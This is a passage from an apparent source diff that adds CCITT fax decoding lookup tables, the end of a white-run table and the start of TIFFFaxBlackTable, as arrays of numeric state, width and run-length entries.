+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,896},{7,4,6},{7,7,19},{7,5,8},
+{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},
+{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},{7,8,44},{7,6,17},{9,9,1408},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},
+{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},
+{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},
+{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},
+{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},
+{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,960},{7,4,6},
+{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},
+{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{11,12,2048},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,40},{7,6,16},{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},
+{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1600},{7,4,5},{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},
+{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},{7,8,32},{7,5,8},
+{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},
+{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},
+{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1536},{7,4,5},
+{7,8,43},{7,6,17},{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},
+{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,9,768},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,11,1920},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,896},{7,4,6},
+{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},
+{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},
+{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},{7,8,44},{7,6,17},
+{9,9,1408},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},
+{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},
+{7,8,42},{7,6,16},{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},
+{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},
+{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},
+{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},
+{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},
+{9,9,960},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},
+{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{11,12,2304},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},
+{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1600},{7,4,5},{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},
+{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},
+{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},
+{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},
+{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1536},{7,4,5},{7,8,43},{7,6,17},{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},
+{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},
+{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,9,768},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,12,2560},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},
+{9,9,896},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},
+{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},
+{7,8,44},{7,6,17},{9,9,1408},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},
+{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7}
+};
+ const TIFFFaxTabEnt TIFFFaxBlackTable[8192] = {
+{12,11,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,18},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,17},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1792},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,23},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,20},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,11,25},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,128},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,56},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,30},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1856},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,57},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,11,21},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,54},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,52},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,48},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,12,2112},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,44},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,36},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,384},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,28},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,60},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,40},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2368},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
